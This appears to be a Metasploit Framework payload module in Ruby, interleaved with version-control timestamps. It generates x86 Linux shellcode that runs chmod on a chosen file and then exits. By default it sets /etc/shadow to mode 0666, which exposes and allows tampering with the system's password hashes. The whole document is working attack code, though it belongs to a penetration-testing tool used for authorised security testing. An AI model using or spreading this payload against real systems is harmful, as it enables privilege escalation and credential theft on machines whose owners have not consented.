2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-05-03 17:13:09 +00:00
|
|
|
##
|
2008-03-10 21:21:51 +00:00
|
|
|
|
2010-05-03 17:13:09 +00:00
|
|
|
require 'msf/core'
|
2008-03-10 21:21:51 +00:00
|
|
|
|
|
|
|
###
|
|
|
|
# Linux Chmod(file, mode)
|
|
|
|
#
|
|
|
|
# Kris Katterjohn - 03/03/2008
|
|
|
|
###
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2008-03-10 21:21:51 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Payload::Linux
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Linux Chmod',
|
|
|
|
'Description' => 'Runs chmod on specified file with specified mode',
|
2009-04-03 15:05:35 +00:00
|
|
|
'Author' => 'kris katterjohn',
|
2008-03-10 21:21:51 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILE', [ true, "Filename to chmod", "/etc/shadow" ]),
|
|
|
|
OptString.new('MODE', [ true, "File mode (octal)", "0666" ]),
|
2008-10-02 05:23:59 +00:00
|
|
|
], self.class)
|
2008-03-10 21:21:51 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Dynamically generates chmod(FILE, MODE) + exit()
|
|
|
|
def generate_stage
|
|
|
|
file = datastore['FILE'] || '/etc/shadow'
|
|
|
|
mode = (datastore['MODE'] || "0666").oct
|
|
|
|
|
|
|
|
payload =
|
|
|
|
"\x99\x6a\x0f\x58\x52" +
|
|
|
|
Rex::Arch::X86.call(file.length + 1) + file + "\x00" +
|
|
|
|
"\x5b" + Rex::Arch::X86.push_dword(mode) +
|
|
|
|
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";
|
|
|
|
end
|
2009-03-30 01:09:09 +00:00
|
|
|
end
|